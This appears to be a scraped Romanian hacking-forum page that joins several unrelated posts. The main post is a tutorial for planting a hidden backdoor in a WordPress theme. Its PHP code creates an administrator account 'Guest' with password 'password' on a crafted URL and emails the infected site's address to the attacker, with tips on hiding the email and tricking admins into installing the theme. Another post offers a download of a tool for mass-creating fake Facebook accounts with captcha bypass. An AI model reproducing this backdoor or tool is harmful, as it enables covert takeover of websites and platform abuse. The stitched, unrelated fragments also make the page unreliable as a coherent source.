Leaderboard

Spargerea unui blog Wordpress cu ajutorul Ingineriei Sociale. Sun? foarte frumos ?i defapt este foarte u?or. Tutorialul ce l-am creat ast?zi pentru voi nu este o idee proprie. M-am inspirat din ceva ce am citit acum foarte mult timp, un scenariu foarte bine pus la punct legat de WordPress ?i anume, cum putem s? lu?m acces la un blog cu elegan?? ?i f?r? a l?sa urme ca s? î?i de-a seama proprietarul. S? d?m un mic exemplu. Domnul Gheorghe vrea s? sparg? cât mai multe blog-uri de pe o anumit? ni?? web. Se gânde?te cum s? fac? un lucru de genul ?sta. Noroc c? Gheorghe este foarte inventiv ?i i-a venit în minte s? creeze ?i s? "infecteze" o tem? (theme) visual?. Mul?i o s? spune?i c? o s? creeze un Remote Code / Command Execution (RCE). Dar nu. Pentru c? ar l?sa urme. A?a c? va ad?uga în tem? un cod PHP care s? adauge automat un nou cont cu drepturi de administrator. Codul este urm?torul: add_action('wp_head', 'wp_wordpress');function wp_wordpress() {If ($_GET['p'] == '1') {require('wp-includes/registration.php');if (!username_exists('wordpress')) {$user_id = wp_create_user('Guest', 'password');$user = new WP_User($user_id);$user->set_role('administrator');}}} Ce face codul de mai sus? Dac? este ad?ugat spre exemplu în templates.php (am precizat aceast? fil? deoarece este executat? automat când acces?m index-ul unui blog), oricine va intra pe urm?torul link: http://pentesting/wp/?p=1 (primul articol de pe blog) va crea în baza de date un nou cont cu drepturi de administrator ?i cu numele: Guest ?i parola password. O remarc? important? ar fi aceea c? tema instalat? trebuie s? fie ?i cea activ?. Legat de ingineria social? v? descurca?i voi c? sunte?i baie?i iste?i cu mult timp liber. Pute?i posta online undeva tema ?i s? adauga?i undeva anumite cuvinte pentru a crea un dork s? pute?i g?si blog-urile infectate. Sau îl pute?i manipula chiar pe administrator s? instaleze tema. Update Ok. Ca s? fie totul complet ?i pentru c? nu am fost mul?umit parc? dac? nu ajutam ?i cu partea asta, adic? cea în care sunte?i informa?i cu ce blog a fost infectat, pe email. <?php add_action('wp_head','wp_wordpressmail');function wp_wordpressmail(){ if ( is_user_logged_in() ) { if(!username_exists('wordpress')){ $addr='the.legend@domain.tld'; # Aici pune?i adresa voastr? de email $judul='WP URL'; wp_mail($addr,$judul,get_bloginfo('wpurl')); } } } ?> S? v? bucura?i de metod?. ?i ca s? nu v? de-a de gol adresa de mail, pute?i s? o encripta?i în base64. $addr=base64_decode('#Aici va fi email-ul vostru encriptat în base64'); S? nu uita?i s? sterge?i tag-urile PHP când ad?uga?i în fil?. Baft?.

Index of /public/e-books

De ce nu folosesti: Dim Generator As System.Random = New System.Random() Dim random As Integer = Generator.Next(Min, Max) Sursa cred ca selecteaza unul din multele coduri deja stiute. Un adevarat generator de coduri ar folosi un algoritm ca sa genereze coduri valabile(pe loc)

A Linux developer has blasted the kernel's chief Linus Torvalds, taking him to task for his famous potty mouth and brutal putdowns of his lieutenants. It's time for Torvalds to stop "verbally abusing" his programmers, Sarah Sharp told the fiery Finn, warning him she’s "not taking it any more". The USB 3.0 driver maintainer pleaded: "You don't need to SHOUT, call me names, or tell me to SHUT THE FUCK UP!" But Torvalds, who founded the popular Linux kernel project in the mid-1990s, wasn't taking this lying down, claiming today's demands of "professionalism" promote passive-aggressive "fake politeness" used by tie-wearing back-stabbers. “You are in a position of power. Stop verbally abusing your developers,” Sharp hit back at Torvalds on the Linux Kernel Mailing List (LKML) - the nerve-centre of the open-source system's development. The catalyst was Torvalds' latest rants over bugs in the x86 updates for the 3.11 kernel that has just hit first release candidate as well as in the 3.10.1 stable review. Things started simmering on Friday, when Torvalds tore into Sharp’s kernel boss, USB subsystem maintainer Greg Kroah-Hartman. Torvalds wrote that bugs were getting into the kernel because devs treat Kroah-Hartman like a doormat. “You may need to learn to shout at people,” he wrote. However, this was playful by Torvalds’ standards, and by Saturday Linus had uncorked the vintage Torvalds over problems he’d found in the x86 work on 3.11. Torvalds was very upset after he'd merged the code assuming it was stable when it wasn’t. Sharp, who runs USB 3.0 support and is the Linux kernel xHCI driver maintainer, has demanded Torvalds stop yelling at devs in caps and be "more professional". Sharp wrote : Sharp has called for talks at the next Linux Kernel Summit to improve the working environment on the kernel and to force Torvalds to confront people in person. “We can at least yell at each other in person,” Sharp wrote. The kernel dev is also encouraging fellow devs to stand up to Torvalds and call for civility on the LKML. I'm not going to wear ties, buy into fake politeness - Torvalds But the angry Finn isn't backing down and Torvalds hasn't taken criticism of his management style in silence. In an increasingly lengthy and fiery series of LKML exchanges with Sharp, he fired back arguing he can’t help himself and it’s his management style to be "honest" and "emotional". Torvalds responded to Sharp’s calls for greater professionalism by saying she’s trying to be force her own style on him. She reckoned he should running the project by setting rules on code quality and working with other managers to discipline devs who submit the kinds of bugs that typically send him off into orbit. “If they protest, then lay into them,” she said. But, no, that’s not Torvalds’ style. “I'm not going to start wearing ties, I'm *also* not going to buy into the fake politeness, the lying, the office politics and backstabbing, the passive aggressiveness, and the buzzwords. Because THAT is what 'acting professionally' results in,” he said. Indeed, Torvalds reckons, "publicly tearing apart" members of the Linux project is the only way to get results. Sharp headed this off, saying Torvalds is capable of being polite – he just doesn’t want to bother. On Monday, as part of her back and forth with Torvalds, Sharp wrote : Sursa TheRegister.co.uk

FaceDominator is a tool which is very useful for managing and automating your facebook advertising campaign. It's an "All in One" tool which can create unlimited numbers of facebook accounts, adds friends in those accounts, create fanpages and make them viral, post on wall of grops/fanpages etc. In short, It helps you to manage and automate each and every activity of your facebook advertising campaign. Its an excellent tool for viral facebook marketing. The power and convenience of this tool is a MUST- HAVE for anyone needing fast and effective facebook traffic! Screenshot (prea mare) : http://i.imgur.com/n674UD0.png Sales Page: http://www.facedominator.com/ Features: Facebook Account Creator Account Profile Creator FanPage Creator Wall Posters Auto Group Joiner Targeted Friend Adder Campaign Manager and Scheduler Multithreaded and Proxy Support Support Captcha Bypass And Many More.... Download: Download FaceDominatorRST - 1.1.41.zip

Castiga-Bani-Online eu am incercat aceste metode si mi-au iesit ceva bani ... am zis sa va arat ca oricum stati degeaba numai faceti nimic bun

Salut , vreau sa va prezint capodopera mea ! 1. http://i5.minus.com/j4DcJtMAtEDuX.png 2. http://i5.minus.com/jq7N3suDHxQQT.png